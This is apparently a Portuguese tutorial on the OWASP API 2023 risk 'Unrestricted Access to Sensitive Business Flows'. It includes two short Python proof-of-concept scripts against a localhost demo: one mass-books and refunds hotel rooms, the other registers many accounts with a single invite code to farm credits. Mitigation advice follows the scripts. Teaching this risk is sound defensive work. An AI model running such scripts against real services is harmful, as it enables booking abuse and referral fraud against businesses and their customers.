OWASP TOP 10 API - Unrestricted Access to Sensitive Business Flows
No OWASP TOP 10 API 2023 foi incluída uma nova vulnerabilidade conhecida como Unrestricted Access to Sensitive Business Flows, ela se encontra em 6º lugar no OWASP TOP 10 API 2023.
O que é o Unrestricted Access to Sensitive Business Flows?
O Unrestricted Access to Sensitive Business Flows é uma vulnerabilidade que permite um invasor prejudique o fluxo de negócio de uma aplicação pelo fato do controle de acesso estar mal configurado, talvez permitindo acesso excessivo à esses fluxos.
Exemplos de cenários vulneráveis:
Cenário #1
Imagine que um sistema de reservas de quartos de hotel em São Paulo dependa de uma API para processar essas reservas. Se essa API não possuir um mecanismo de controle de acesso adequado e permitir que um invasor tenha acesso irrestrito ao endpoint responsável pelo registro de reservas, essa pessoa mal-intencionada poderia criar um grande número de reservas em um hotel específico. Isso causaria prejuízos tanto aos clientes afetados quanto à receita do próprio hotel.
Exemplo de endpoint vulnerável
Veja que o endpoint "/api/v1/booking" cria uma reserva:
Com a seguinte POC, conseguimos criar diversas reservas:
import requests, sys
users = [
{
"name": "Catarina Santos",
"cpf": "111.111.111-11",
"email": "[email protected]",
"card":"xxx.xxx.xxx",
"room": "11"
},
{
"name": "Lucas Oliveira",
"cpf": "222.222.222-22",
"email": "[email protected]",
"card":"xxx.xxx.xxx",
"room": "12"
},
{
"name": "Sofia Rodrigues",
"cpf": "333.333.333-33",
"email": "[email protected]",
"card":"xxx.xxx.xxx",
"room": "13"
},
{
"name": "Guilherme Silva",
"cpf": "444.444.444-44",
"email": "[email protected]",
"card":"xxx.xxx.xxx",
"room": "14"
},
{
"name": "Mariana Costa",
"cpf": "555.555.555-55",
"email": "[email protected]",
"card":"xxx.xxx.xxx",
"room": "21"
},
{
"name": "Miguel Pereira",
"cpf": "666.666.666-66",
"email": "[email protected]",
"card":"xxx.xxx.xxx",
"room": "22"
},
{
"name": "Beatriz Almeida",
"cpf": "777.777.777-77",
"email": "[email protected]",
"card":"xxx.xxx.xxx",
"room": "23"
},
{
"name": "Gabriel Carvalho",
"cpf": "888.888.888-88",
"email": "[email protected]",
"card":"xxx.xxx.xxx",
"room": "24"
}
]
if(sys.argv[1] == "buy"):
for user in users:
r = requests.post("http://localhost/api/v1/booking", json=user)
print(r.text)
elif(sys.argv[1] == "refund"):
for user in users:
r = requests.post("http://localhost/api/v1/booking/refund", json=user)
print(r.text)
else:
exit()
Veja que o endpoint permitiu diversas requests do mesmo IP. O correto seria limitar uma quantia de requests por IP.
O endpoint "/api/v1/booking/refund" faz o reembolso da reserva:
Executando a POC com o parâmetro "refund" conseguimos reembolsar todas as reservas:
Cenário #2
Suponha que um aplicativo de transporte fornece créditos adicionais para um usuário caso outras pessoas se registrem no aplicativo utilizando seu código de convite. Se esse aplicativo não controlar o número de registro de contas por aparelho, um invasor poderia criar um script para registrar diversas contas utilizando o mesmo link de convite, assim obtendo muitos créditos no aplicativo de transporte sem contribuir para o crescimento do aplicativo.
Exemplo de endpoint vulnerável
O endpoint "/api/v1/code" mostra o código de convite:
O endpoint "/api/v1/credits" verifica os seus créditos:
O endpoint "/api/v1/register" registra um novo usuário, e é possível especificar um código de convite no parâmetro "code":
Verificando novamente nossos créditos, vemos que ganhamos 15:
Com a seguinte POC, conseguimos registrar diversos usuários utilizando nosso código de convite:
import requests, sys
users = [
{
"name": "Catarina Santos",
"cpf": "111.111.111-11",
"email": "[email protected]",
"code": "A12M93Q"
},
{
"name": "Lucas Oliveira",
"cpf": "222.222.222-22",
"email": "[email protected]",
"code": "A12M93Q"
},
{
"name": "Sofia Rodrigues",
"cpf": "333.333.333-33",
"email": "[email protected]",
"code": "A12M93Q"
},
{
"name": "Guilherme Silva",
"cpf": "444.444.444-44",
"email": "[email protected]",
"code": "A12M93Q"
},
{
"name": "Mariana Costa",
"cpf": "555.555.555-55",
"email": "[email protected]",
"code": "A12M93Q"
},
{
"name": "Miguel Pereira",
"cpf": "666.666.666-66",
"email": "[email protected]",
"code": "A12M93Q"
},
{
"name": "Beatriz Almeida",
"cpf": "777.777.777-77",
"email": "[email protected]",
"code": "A12M93Q"
},
{
"name": "Gabriel Carvalho",
"cpf": "888.888.888-88",
"email": "[email protected]",
"code": "A12M93Q"
}
]
for user in users:
r = requests.post("http://localhost/api/v1/register", json=user)
print(r.text)
Executando a POC:
Verificando nossos créditos novamente:
Como prevenir o Unrestricted Access to Sensitive Business Flows
O planejamento de mitigação deve ser feito em duas camadas:
Identifique os fluxos de negócios que podem prejudicar o negócio caso sejam utilizados em excesso.
Escolha os mecanismos de proteção corretos para mitigar o risco do negócio.
Alguns dos mecanismos de proteção são mais simples, enquanto outros são mais difíceis de implementar. Os seguintes métodos são usados para desacelerar as ameaças automatizadas:
- Detecção humana: usando captcha ou soluções biométricas mais avançadas (por exemplo, padrões de digitação)
- Padrões não humanos: analise o fluxo do usuário para detectar padrões não humanos (por exemplo, o usuário acessou as funções "adicionar ao carrinho" e "concluir compra" em menos de um segundo)
- Considere o bloqueio de endereços IP de nós de saída do Tor e proxies conhecidos